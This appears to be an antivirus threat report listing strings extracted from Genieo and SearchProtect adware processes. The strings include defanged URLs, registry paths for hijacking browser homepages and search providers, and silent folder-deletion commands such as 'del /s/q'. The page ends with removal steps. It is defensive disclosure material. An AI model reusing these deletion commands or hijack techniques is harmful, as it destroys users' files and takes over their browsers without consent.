Vot.VotF%qt

e_GetBrowserCurrentHpUrl

e_GetBrowserCurrentDsUrl

URLDownloadToFileW

URLDownloadToFileW ret:0XX

Error : %d

inflate 1.1.3 Copyright 1995-1998 Mark Adler

1.1.3

monochrome

unsupported bit depth

`'\%D,3

Run-Time Check Failure #%d - %s

%s%s%p%s%ld%s%d%s

%s%s%s%s

RegOpenKeyExW

RegCloseKey

del /s/q %1\*.*

%suninstall.bat

E:\supsoft\SupSearchProtectV4\SearchProtect\bin\Release\HPNotify.pdb

KERNEL32.dll

GetKeyState

USER32.dll

GDI32.dll

ADVAPI32.dll

ShellExecuteW

ShellExecuteA

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHDeleteKeyW

SHLWAPI.dll

MSVCP110.dll

MSVCR110.dll

_calloc_crt

_CRT_RTC_INITW

__crtGetShowWindowMode

_amsg_exit

_wcmdln

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

__crtSetUnhandledExceptionFilter

GdiplusShutdown

gdiplus.dll

IMM32.dll

DeleteUrlCacheEntryW

WININET.dll

COMCTL32.dll

GetProcessHeap

#*1892 $

%,3:;4-&

.?AVCActiveXEnum@DuiLib@@

.?AVCWebBrowserUI@DuiLib@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />

3?3

0%1u1

4 4$4(4,40444

<4=8=3?7?

767:7:9>9

3:4;5?5~5~6

1$1,3\3}3

?)?3?=?[?

6 6$6(6,6064686

0 0$0(0,0

3 3$3(3,3

? ?$?(?,?0?

0 1@1\1|1

hXXp://VVV.bing.com/

hXXp://VVV.yahoo.com/

hXXp://VVV.google.com/

%sconf

&ts=%d&from=xtab&uid=XXxXXXXXXXX

web/?type=dspp&

web/?type=dspp

hXXp://VVV.v9.com/

Itemd

BrowserAction.dll

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

\\.\Scsi%d:

UrlEdit

conf.xml

hXXp://v9.com/license_agreement.html

hXXp://v9.com/privacy_policy.html

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.show.%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.other.%s

%stmp%d.tmp

urlmon.dll

main.xml

explorer.exe

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

IeWatchDog.dll

BrowerWatchFF.dll

BrowerWatchCH.dll

Global\GUID(6D05BFEC-4307-4649-8963-962A24345DF4)

msimg32.dll

User32.dll

WM_KEYDOWN

WM_KEYUP

WM_SYSKEYDOWN

WM_SYSKEYUP

0xX

keyboard

msftedit.dll

password

%s%s%s

Correct password required

%s\%s

WebBrowser

transshadow

transshadow1

dest='%d,%d,%d,%d'

dest='%d,%d,%d,%d' source='%d,%d,%d,%d'

source='%d,%d,%d,%d' dest='%d,%d,%d,%d'

M-d-d

WebBrowserUI

errorUrl

{D27CDB6E-AE6D-11CF-96B8-444553540000}

user32.dll

MSPDB110.DLL

ADVAPI32.DLL

/c ping 127.0.0.1 -n 2 > nul && del /s/q

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

%Program Files% (x86)\XTab\skin\

SupHPNot.exe

4,0,1,2404

SupHPNty.exe

genupdater.exe_3948:

.text

`.rdata

@.data

.rsrc

tGHt.Ht&

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

operator

GetProcessWindowStation

USER32.DLL

This sample does not support this version of Windows.

%[^=]=%[^

partner.support.languages.localization

updater.components.blacklist

\u%2x%2x

opera_ext

chrome_ext

firefox_ext

partner.uninstall.add.control.panel.entry

desktop.icon.file.name

uninstall.url

desktop.icon.display.name

sensor.shortcut.ie

start.menu.folder.name

uninstall.icon.display.name

homepage.url

hXXp://127.0.0.1:1886/extensions/redirect_to_startpage

UninstallUrl

sethomepageandsearch.components.blacklist

browser.searchProvider.urlTemplate

[%8s](d/d/d d:d:d.d): %S

K:\projects\AnabelPackage\build\src\Updater\Release\genupdater.pdb

InternetCrackUrlW

HttpSendRequestW

HttpQueryInfoW

HttpOpenRequestW

WININET.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

KERNEL32.dll

USER32.dll

RegQueryInfoKeyA

RegOpenKeyExW

RegCloseKey

ADVAPI32.dll

ShellExecuteExW

ShellExecuteW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

zcÁ

.?AVUpgradeMsg@@

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

KERNEL32.DLL

mscoree.dll

SetShellExecuteExError

k:\projects\AnabelPackage\build\src\Updater\UpdateLib\Platform\Common\inc\Error.h

Error %I64x, file: '%s' (timestamp: %S), func: '%s', line: '%d'

RunAction::execute

.\Platform\Actions\src\RunAction.cpp

%s %s

%s %s %s %s

%s %s %s %s %s

Done running '%s' with error: %d

RunAction: Failed to create process - fallback to shell execute

RunAction: Failed to shell execute

RunAction::RunExec

SaveAction::execute

.\Platform\Actions\src\SaveAction.cpp

Failed to download for url:

Failed to save and abort - no more retries for: %s

Failed to save. Wait %d seconds before retry download: %s

Failed to verify MD5 for url:

Failed to decrypt for url:

.\Platform\Common\src\DownloadManager.cpp

hXXp://analytics.genieo.com/track

&data=install_error=

&data=engine_hang_restart=

&data=uninstall=true

&data=updater_ping=

&revision_core=%d

&revision_updater=%d

&revision_partner=%d

&os_version=Windows

okernel32.dll

Windows Vista

Windows Server 2008

Windows 7

Windows Server 2008 R2

kernel32.dll

Web Server Edition

Windows Server 2003 R2,

Windows Storage Server 2003

Windows Home Server

Windows XP Professional x64 Edition

Windows Server 2003,

Web Edition

Windows XP

Windows 2000

(build %d)

SOFTWARE\JavaSoft\Java Runtime Environment\%s

SOFTWARE\JavaSoft\Java Development Kit\%s

%s\bin\javaw.exe

Updated registry: key L%s to: L%s

Failed to update registry: key L%s to: L%s

supported_langs

is not insupported langs - setting it to first supported language:

is not insupported langs - setting it to en

Manifest URL:

Failed to parse manifest. url:

Failed with non recoverable error to download manifest. url:

Failed to download manifest. url:

Discard upgrade. We tried this revision too many times. Waiting to newer revision. New rev: %d. Local rev: %d

Processing new execute action:

Blacklist: skip processing new execute action:

Failed to execute

New version does not contains any actions to execute.

.\UpgradeManager\src\UpgradeManager.cpp

..\UpdateLib\Platform\Common\src\Utils.cpp

{R%x%x%x}

%s\Partner\%s\text\%s_text.properties

can't be loaded - loading en_text.properties

%s\Partner\%s\text\en_text.properties

opera

chrome

/Chrome

/Opera

conf\partner_manifest.xml

updater_manifest.xml

conf\updater_manifest.xml

.\UpdaterService.cpp

%s\Partner\%s\conf\partner.properties

\conf\conf.ini

partner_manifest_url_template

Partner manifest URL:

partner_manifest.xml

-desk_icon_name "%S" -partner_name "%s" -uninstall_url "%S" -add_cp_entry_and_abort "true"

-add_desk "%s" -desk_icon "Partner\%s\img\%S" -desk_icon_name "%S" -desk_url "%S" -home_url "%S" -uninstall_url "%S" -uninst_icon_name "%S" -partner_name "%s" -start_menu_folder_name "%S" -add_ie_link "%s" -add_cp_entry "%s"

Failed to execute first time process

Failed to execute first time process - install dir does not exists on the registry

/chrome_ext

Failed to prepare enviroment - open failed to install url

Reached maximum number (%d) of failures for revision. will upgrade only to higher revision.

manifest.xml

conf\manifest.xml

Failed to install first time - open failed to install url:

hXXp://userfeedback-genieo.appspot.com/installfail.jsp?errcode=

Checked for update and abort (executed with check_only flag)

Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

firefox

Software\Classes\http\shell\open\command

is_homepage_%s

NOT raising set-homepage flag of %s because it is blacklisted

set_homepage_do_%s

Raised set-homepage flag %s for browser %s to update the homepage url

ERROR while raising set-homepage flag %s for browser %s to update the homepage url. Error code=%d

SKIP while raising set-homepage flag for browser %s to update the homepage url. BROWSER IS NOT DEFAULT

NOT raising set-homepage flag of %s because Genieo is not its homepage.

is_search_provider_%s

NOT raising set-search-provider flag of %s because it is blacklisted

set_searchProvider_do_%s

Raised set-SearchProvider flag %s for browser %s to update the search-provider url

ERROR while raising set-search-provider flag %s for browser %s to update the search-provider url. Error code=%d

SKIP while raising set-search-provider flag for browser %s to update the set-search-provider url. BROWSER IS NOT DEFAULT

NOT raising set-search-provider flag of %s because Genieo is not its search-provider.

%s %d %s %s %s %s

\log\Updater.log

Updater.log

url.dll,FileProtocolHandler

rundll32.exe

UI is disabled - skip open URL:

uninstall\updater_uninstall.exe

Failed to execute the next upgrade process. Keep using this process

..\UpdateLib\Platform\Common\src\FileUtils.cpp

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\genupdater.exe

genupdater.exe_1776:

.text

`.rdata

@.data

.rsrc

tGHt.Ht&

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

operator

GetProcessWindowStation

USER32.DLL

This sample does not support this version of Windows.

%[^=]=%[^

partner.support.languages.localization

updater.components.blacklist

\u%2x%2x

opera_ext

chrome_ext

firefox_ext

partner.uninstall.add.control.panel.entry

desktop.icon.file.name

uninstall.url

desktop.icon.display.name

sensor.shortcut.ie

start.menu.folder.name

uninstall.icon.display.name

homepage.url

hXXp://127.0.0.1:1886/extensions/redirect_to_startpage

UninstallUrl

sethomepageandsearch.components.blacklist

browser.searchProvider.urlTemplate

[%8s](d/d/d d:d:d.d): %S

K:\projects\AnabelPackage\build\src\Updater\Release\genupdater.pdb

InternetCrackUrlW

HttpSendRequestW

HttpQueryInfoW

HttpOpenRequestW

WININET.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

KERNEL32.dll

USER32.dll

RegQueryInfoKeyA

RegOpenKeyExW

RegCloseKey

ADVAPI32.dll

ShellExecuteExW

ShellExecuteW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

zcÁ

.?AVUpgradeMsg@@

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

KERNEL32.DLL

mscoree.dll

SetShellExecuteExError

k:\projects\AnabelPackage\build\src\Updater\UpdateLib\Platform\Common\inc\Error.h

Error %I64x, file: '%s' (timestamp: %S), func: '%s', line: '%d'

RunAction::execute

.\Platform\Actions\src\RunAction.cpp

%s %s

%s %s %s %s

%s %s %s %s %s

Done running '%s' with error: %d

RunAction: Failed to create process - fallback to shell execute

RunAction: Failed to shell execute

RunAction::RunExec

SaveAction::execute

.\Platform\Actions\src\SaveAction.cpp

Failed to download for url:

Failed to save and abort - no more retries for: %s

Failed to save. Wait %d seconds before retry download: %s

Failed to verify MD5 for url:

Failed to decrypt for url:

.\Platform\Common\src\DownloadManager.cpp

hXXp://analytics.genieo.com/track

&data=install_error=

&data=engine_hang_restart=

&data=uninstall=true

&data=updater_ping=

&revision_core=%d

&revision_updater=%d

&revision_partner=%d

&os_version=Windows

okernel32.dll

Windows Vista

Windows Server 2008

Windows 7

Windows Server 2008 R2

kernel32.dll

Web Server Edition

Windows Server 2003 R2,

Windows Storage Server 2003

Windows Home Server

Windows XP Professional x64 Edition

Windows Server 2003,

Web Edition

Windows XP

Windows 2000

(build %d)

SOFTWARE\JavaSoft\Java Runtime Environment\%s

SOFTWARE\JavaSoft\Java Development Kit\%s

%s\bin\javaw.exe

Updated registry: key L%s to: L%s

Failed to update registry: key L%s to: L%s

supported_langs

is not insupported langs - setting it to first supported language:

is not insupported langs - setting it to en

Manifest URL:

Failed to parse manifest. url:

Failed with non recoverable error to download manifest. url:

Failed to download manifest. url:

Discard upgrade. We tried this revision too many times. Waiting to newer revision. New rev: %d. Local rev: %d

Processing new execute action:

Blacklist: skip processing new execute action:

Failed to execute

New version does not contains any actions to execute.

.\UpgradeManager\src\UpgradeManager.cpp

..\UpdateLib\Platform\Common\src\Utils.cpp

{R%x%x%x}

%s\Partner\%s\text\%s_text.properties

can't be loaded - loading en_text.properties

%s\Partner\%s\text\en_text.properties

opera

chrome

/Chrome

/Opera

conf\partner_manifest.xml

updater_manifest.xml

conf\updater_manifest.xml

.\UpdaterService.cpp

%s\Partner\%s\conf\partner.properties

\conf\conf.ini

partner_manifest_url_template

Partner manifest URL:

partner_manifest.xml

-desk_icon_name "%S" -partner_name "%s" -uninstall_url "%S" -add_cp_entry_and_abort "true"

-add_desk "%s" -desk_icon "Partner\%s\img\%S" -desk_icon_name "%S" -desk_url "%S" -home_url "%S" -uninstall_url "%S" -uninst_icon_name "%S" -partner_name "%s" -start_menu_folder_name "%S" -add_ie_link "%s" -add_cp_entry "%s"

Failed to execute first time process

Failed to execute first time process - install dir does not exists on the registry

/chrome_ext

Failed to prepare enviroment - open failed to install url

Reached maximum number (%d) of failures for revision. will upgrade only to higher revision.

manifest.xml

conf\manifest.xml

Failed to install first time - open failed to install url:

hXXp://userfeedback-genieo.appspot.com/installfail.jsp?errcode=

Checked for update and abort (executed with check_only flag)

Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

firefox

Software\Classes\http\shell\open\command

is_homepage_%s

NOT raising set-homepage flag of %s because it is blacklisted

set_homepage_do_%s

Raised set-homepage flag %s for browser %s to update the homepage url

ERROR while raising set-homepage flag %s for browser %s to update the homepage url. Error code=%d

SKIP while raising set-homepage flag for browser %s to update the homepage url. BROWSER IS NOT DEFAULT

NOT raising set-homepage flag of %s because Genieo is not its homepage.

is_search_provider_%s

NOT raising set-search-provider flag of %s because it is blacklisted

set_searchProvider_do_%s

Raised set-SearchProvider flag %s for browser %s to update the search-provider url

ERROR while raising set-search-provider flag %s for browser %s to update the search-provider url. Error code=%d

SKIP while raising set-search-provider flag for browser %s to update the set-search-provider url. BROWSER IS NOT DEFAULT

NOT raising set-search-provider flag of %s because Genieo is not its search-provider.

%s %d %s %s %s %s

\log\Updater.log

Updater.log

url.dll,FileProtocolHandler

rundll32.exe

UI is disabled - skip open URL:

uninstall\updater_uninstall.exe

Failed to execute the next upgrade process. Keep using this process

..\UpdateLib\Platform\Common\src\FileUtils.cpp

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\genupdater.exe

framework_setup.gen_3832:

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

unpacking data: %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|<>/":

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\isgenieoalive.dat

\..\TrayUi\bin\gentray.exe" -restart

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdD653.tmp\NSISdl.dll

tall\framework_uninstall.exe

Data\Local\Temp\nsdD653.tmp

rs\"%CurrentUserName%"\AppData\Local\Temp\nsdD653.tmp\NSISdl.dll

WS2_32.dll

NSISdl.dll

invalid URL

Host: %s

GET %s HTTP/1.0

User-Agent: NSISDL/1.2 (Mozilla)

http=

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Unable to open %s

%skB (%d%%) of %skB at %u.ukB/s

(%u hours remaining)

(%u minutes remaining)

(%u seconds remaining)

Downloading %s

.reloc

c/AbstractBasicConverter.classPK

com/thoughtworks/xstream/converters/basic/StringConverter.classPK

com/thoughtworks/xstream/converters/basic/ThreadSafeSimpleDateFormat.classPK

com/thoughtworks/xstream/converters/basic/FloatConverter.classPK

com/thoughtworks/xstream/converters/basic/StringBuilderConverter.classPK

com/thoughtworks/xstream/converters/basic/BigDecimalConverter.classPK

com/thoughtworks/xstream/converters/basic/DateConverter.classPK

com/thoughtworks/xstream/converters/basic/StringBufferConverter.classPK

com/thoughtworks/xstream/converters/basic/DoubleConverter.classPK

com/thoughtworks/xstream/converters/basic/UUIDConverter.classPK

com/thoughtworks/xstream/converters/basic/ShortConverter.classPK

com/thoughtworks/xstream/converters/basic/NullConverter.classPK

com/thoughtworks/xstream/converters/basic/BooleanConverter.classPK

com/thoughtworks/xstream/converters/basic/LongConverter.classPK

com/thoughtworks/xstream/converters/basic/IntConverter.classPK

com/thoughtworks/xstream/converters/basic/BigIntegerConverter.classPK

com/thoughtworks/xstream/converters/basic/CharConverter.classPK

com/thoughtworks/xstream/converters/basic/ByteConverter.classPK

com/thoughtworks/xstream/converters/collections/ArrayConverter.classPK

com/thoughtworks/xstream/converters/collections/AbstractCollectionConverter.classPK

com/thoughtworks/xstream/converters/collections/CollectionConverter.classPK

com/thoughtworks/xstream/converters/collections/PropertiesConverter.classPK

com/thoughtworks/xstream/converters/collections/CharArrayConverter.classPK

com/thoughtworks/xstream/converters/collections/TreeMapConverter$PresortedMap$ArraySet.classPK

com/thoughtworks/xstream/converters/collections/TreeMapConverter$PresortedMap$1.classPK

com/thoughtworks/xstream/converters/collections/TreeMapConverter$PresortedMap.classPK

com/thoughtworks/xstream/converters/collections/TreeMapConverter$1.classPK

com/thoughtworks/xstream/converters/collections/TreeMapConverter.classPK

com/thoughtworks/xstream/converters/collections/MapConverter.classPK

com/thoughtworks/xstream/converters/collections/TreeSetConverter$PresortedSet.classPK

com/thoughtworks/xstream/converters/collections/TreeSetConverter.classPK

com/thoughtworks/xstream/converters/collections/BitSetConverter.classPK

com/thoughtworks/xstream/converters/ConverterRegistry.classPK

com/thoughtworks/xstream/converters/SingleValueConverterWrapper.classPK

com/thoughtworks/xstream/converters/enums/EnumSetConverter.classPK

com/thoughtworks/xstream/converters/enums/EnumSingleValueConverter.classPK

com/thoughtworks/xstream/converters/enums/EnumConverter.classPK

com/thoughtworks/xstream/converters/enums/EnumMapConverter.classPK

com/thoughtworks/xstream/mapper/Mapper$Null.classPK

com/thoughtworks/xstream/mapper/Mapper$ImplicitCollectionMapping.classPK

com/thoughtworks/xstream/mapper/Mapper.classPK

com/thoughtworks/xstream/mapper/ClassAliasingMapper.classPK

com/thoughtworks/xstream/mapper/MapperWrapper.classPK

com/thoughtworks/xstream/mapper/CachingMapper.classPK

com/thoughtworks/xstream/mapper/PackageAliasingMapper$1.classPK

com/thoughtworks/xstream/mapper/PackageAliasingMapper.classPK

com/thoughtworks/xstream/mapper/AnnotationConfiguration.classPK

com/thoughtworks/xstream/mapper/DefaultImplementationsMapper.classPK

com/thoughtworks/xstream/mapper/LocalConversionMapper.classPK

com/thoughtworks/xstream/mapper/AttributeMapper.classPK

com/thoughtworks/xstream/mapper/CGLIBMapper$Marker.classPK

com/thoughtworks/xstream/mapper/CGLIBMapper.classPK

com/thoughtworks/xstream/mapper/AbstractXmlFriendlyMapper.classPK

com/thoughtworks/xstream/mapper/FieldAliasingMapper.classPK

com/thoughtworks/xstream/mapper/AttributeAliasingMapper.classPK

com/thoughtworks/xstream/mapper/AbstractAttributeAliasingMapper.classPK

com/thoughtworks/xstream/mapper/SystemAttributeAliasingMapper.classPK

com/thoughtworks/xstream/mapper/ImmutableTypesMapper.classPK

com/thoughtworks/xstream/mapper/ImplicitCollectionMapper$ImplicitCollectionMapperForClass.classPK

com/thoughtworks/xstream/mapper/ImplicitCollectionMapper$ImplicitCollectionMappingImpl.classPK

com/thoughtworks/xstream/mapper/ImplicitCollectionMapper$NamedItemType.classPK

com/thoughtworks/xstream/mapper/ImplicitCollectionMapper$1.classPK

com/thoughtworks/xstream/mapper/ImplicitCollectionMapper.classPK

com/thoughtworks/xstream/mapper/DefaultMapper.classPK

com/thoughtworks/xstream/mapper/OuterClassMapper.classPK

com/thoughtworks/xstream/mapper/DynamicProxyMapper$DynamicProxy.classPK

com/thoughtworks/xstream/mapper/DynamicProxyMapper.classPK

com/thoughtworks/xstream/mapper/XStream11XmlFriendlyMapper.classPK

com/thoughtworks/xstream/mapper/CannotResolveClassException.classPK

com/thoughtworks/xstream/mapper/XmlFriendlyMapper.classPK

com/thoughtworks/xstream/mapper/ArrayMapper.classPK

com/thoughtworks/xstream/mapper/EnumMapper.classPK

com/thoughtworks/xstream/mapper/AnnotationMapper$1.classPK

com/thoughtworks/xstream/mapper/AnnotationMapper$UnprocessedTypesSet.classPK

com/thoughtworks/xstream/mapper/AnnotationMapper$WeakHashSet.classPK

com/thoughtworks/xstream/mapper/AnnotationMapper.classPK

com/thoughtworks/xstream/alias/ClassMapper$Null.classPK

com/thoughtworks/xstream/alias/ClassMapper.classPK

com/thoughtworks/xstream/alias/CannotResolveClassException.classPK

com/thoughtworks/xstream/alias/NameMapper.classPK

com/thoughtworks/xstream/core/util/FastStack.classPK

com/thoughtworks/xstream/core/util/ObjectIdDictionary$Wrapper.classPK

com/thoughtworks/xstream/core/util/ObjectIdDictionary$IdWrapper.classPK

com/thoughtworks/xstream/core/util/ObjectIdDictionary$WeakIdWrapper.classPK

com/thoughtworks/xstream/core/util/ObjectIdDictionary.classPK

com/thoughtworks/xstream/core/util/OrderRetainingMap$ArraySet.classPK

com/thoughtworks/xstream/core/util/OrderRetainingMap$1.classPK

com/thoughtworks/xstream/core/util/OrderRetainingMap.classPK

com/thoughtworks/xstream/core/util/PrioritizedList$PrioritizedItem.classPK

com/thoughtworks/xstream/core/util/PrioritizedList$PrioritizedItemIterator.classPK

com/thoughtworks/xstream/core/util/PrioritizedList.classPK

com/thoughtworks/xstream/core/util/TypedNull.classPK

com/thoughtworks/xstream/core/util/CustomObjectInputStream$StreamCallback.classPK

com/thoughtworks/xstream/core/util/CustomObjectInputStream$CustomGetField.classPK

/util/DependencyInjectionFactory.classPK

com/thoughtworks/xstream/core/util/XmlHeaderAwareReader.classPK

com/thoughtworks/xstream/core/util/CustomObjectOutputStream$StreamCallback.classPK

com/thoughtworks/xstream/core/util/CustomObjectOutputStream$CustomPutField.classPK

com/thoughtworks/xstream/core/util/CustomObjectOutputStream$1.classPK

com/thoughtworks/xstream/core/util/CustomObjectOutputStream.classPK

com/thoughtworks/xstream/core/util/ThreadSafePropertyEditor$1.classPK

com/thoughtworks/xstream/core/util/ThreadSafePropertyEditor.classPK

com/thoughtworks/xstream/core/ReferenceByXPathMarshaller.classPK

com/thoughtworks/xstream/core/AbstractReferenceMarshaller$ReferencedImplicitElementException.classPK

com/thoughtworks/xstream/core/AbstractReferenceMarshaller.classPK

com/thoughtworks/xstream/core/TreeMarshaller$CircularReferenceException.classPK

com/thoughtworks/xstream/core/TreeMarshaller.classPK

com/thoughtworks/xstream/core/BaseException.classPK

v.hnky

gine_old\*.*

isgenieoalive.dat

ISGENI~1.DAT

Data\Local\Temp\isgenieoalive.dat

sers\"%CurrentUserName%"\AppData\Local\Temp\nsdD653.tmp

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\\genieo_temp\framework_setup.gen

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\bin

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\genieo_temp

framework_setup.gen

ers\"%CurrentUserName%"\AppData\Local\Temp\nsyD632.tmp

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdD653.tmp

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\genieo_temp\framework_setup.gen

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

CompanyWebsite

hXXp://VVV.genieo.com

2.7.688

vlc.exe_3208:

.text

P`.data

.rdata

`@.bss

.idata

.rsrc

.gnu_deb

libgcj_s.dll

Can't connect to FTP server 0xlu

VLC/2.0.2

globalhotkeys,none

VirtualQuery failed for %d bytes at address %p

Unknown pseudo relocation protocol version %d.

Unknown pseudo relocation bit size %d.

FtpPutFileW

libvlc.dll

KERNEL32.dll

msvcrt.dll

PSAPI.DLL

SHELL32.DLL

USER32.dll

WININET.DLL

<<<66:*/

.FDGS5$Yfll

Tx.AP:|

T.syy

L&Y^.sxx

.ZL9L

vlc.exe.dbg

OS=%d.%d.%d.%d.%s

VLC=2.0.2 Twoflower

x at %px

%p|%s

VLC crash reporting

VLC media player just crashed. Do you want to send a bug report to the developers team?

VLC Crash Reporter

crash.videolan.org

/crashes-win32/dddddd

Report sent

Report sent correctly. Thanks a lot for the help.

Report sending failed

There was an error while transferring to the FTP server. Thanks a lot for the help anyway.

There was an error while connecting to the FTP server. Thanks a lot for the help anyway.

kernel32.dll

C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\crashdump

vlc.exe

2.0.2

VLC media player 2.0.2

javaw.exe_2952:

.text

`.rdata

@.data

.rsrc

/Xusage.txt

-Djava.class.path=%s

Unable to locate JRE meeting specification "%s"

1.6.0_18-b07

JRE-Version = %s, JRE-Restrict-Search = %s Selected = %s

Syntax error in version specification "%s"

Invalid or corrupt jarfile %s

Unable to access jarfile %s

-Djava.awt.headless=

-Djava.awt.headless=true

option[-] = '%s'

ignoreUnrecognized is %s,

sun.jnu.encoding

isSupported

-Dsun.java.command=

-Dsun.java.launcher=SUN_STANDARD

A %c separated list of directories, JAR archives,

load Java programming language agent, see java.lang.instrument

The default VM is %s%s

is a synonym for the "%s" VM [deprecated]

to select the "%s" VM

Usage: %s [-options] class [args...]

(to execute a class)

or %s [-options] -jar jarfile [args...]

(to execute a jar file)

Can't open %s

Could not find the main class: %s. Program will exit.

Failed to load Main Class: %s

Could not find the main class: %s. Program will exit.

argv[-] = '%s'

Apps' argc is %d

Main-Class is '%s'

Warning: %s VM not supported; %s VM will be used

Error: %s VM not supported

Error: Unable to resolve VM alias %s

Error: Corrupt jvm.cfg file; cycle in alias list.

Default VM: %s

%s requires class path specification

%s full version "%s"

Warning: %s option is no longer supported.

-Xrunhprof:cpu=old,file=java.prof

-Xrunhprof:cpu=old,file=%s

%ld micro seconds to parse jvm.cfg

name: %s vmType: %s alias: %s

name: %s vmType: %s server_class: %s

jvm.cfg[%d] = ->%s<-

Warning: unknown VM type on line %d of `%s'

Warning: missing server class VM on line %d of `%s'

Warning: missing VM alias on line %d of `%s'

Warning: missing VM type on line %d of `%s'

Warning: no leading - on line %d of `%s'

Error: could not open `%s'

\jvm.cfg

\bin\splashscreen.dll

%s\jvm.dll

%s\bin\%s\jvm.dll

Version major.minor.micro = %s.%s

Failed reading value of registry key:

Software\JavaSoft\Java Runtime Environment\%s\JavaHome

Error opening registry key 'Software\JavaSoft\Java Runtime Environment\%s'

Registry key 'Software\JavaSoft\Java Runtime Environment\CurrentVersion'

has value '%s', but '1.6' is required.

Error opening registry key 'Software\JavaSoft\Java Runtime Environment'

-Dsun.java2d.opengl

-Dsun.java2d.d3d

-Dsun.java2d.noddraw

-Dsun.awt.warmup

Unable to resolve path to current %s executable: %s

CreateProcess(%s, ...) failed: %s

ReExec Args: %s

ReExec Command: %s (%s)

ExecJRE: new: %s

ExecJRE: old: %s

Error: could not find java.dll

JRE path is %s

%s\jre\bin\java.dll

%s\bin\java.dll

Error loading: %s

CRT path is %s

\bin\msvcr71.dll

EnsureJreInstallation:%s:load failed

\bin\jkernel.dll

EnsureJreInstallation:<%s>:not found

EnsureJreInstallation:unsupported platform

Error: can't find JNI interfaces in: %s

JVM path is %s

\bin\awt.dll

\bin\java.dll

\bin\verify.dll

Error: no `%s' JVM at `%s'.

Error: no known VMs. (check for corrupt jvm.cfg file)

before: "%s"

after : "%s"

META-INF/MANIFEST.MF

1.1.3

inflate 1.1.3 Copyright 1995-1998 Mark Adler

mscoree.dll

Broken pipe

Inappropriate I/O control operation

Operation not permitted

kernel32.dll

- This application cannot run using the active version of the Microsoft .NET Runtime

Please contact the application's support team for more information.

GetProcessWindowStation

user32.dll

internal state. The program cannot safely continue execution and must

continue execution and must now be terminated.

C:\BUILD_~1\jdk6_18\control\build\WINDOW~1\tmp\java\javaw\obj\javaw.pdb

RegCloseKey

RegOpenKeyExA

RegEnumKeyA

ADVAPI32.dll

USER32.dll

GetCPInfo

KERNEL32.dll

%Program Files% (x86)\Java\jre6\bin\javaw.exe

<assemblyIdentity version="6.0.180.7"

name="javaw.exe"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

<requestedExecutionLevel

3333333333330

333333333307

PP%d(jjjjj

6.0.180.7

javaw.exe

javaw.exe_2952_rwx_02480000_003C8000:

8\8@8$8-

`8

8(8,8 8082

-8,808,808,808,8

8 8@8 82

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):

GLBCFAD.tmp:3408
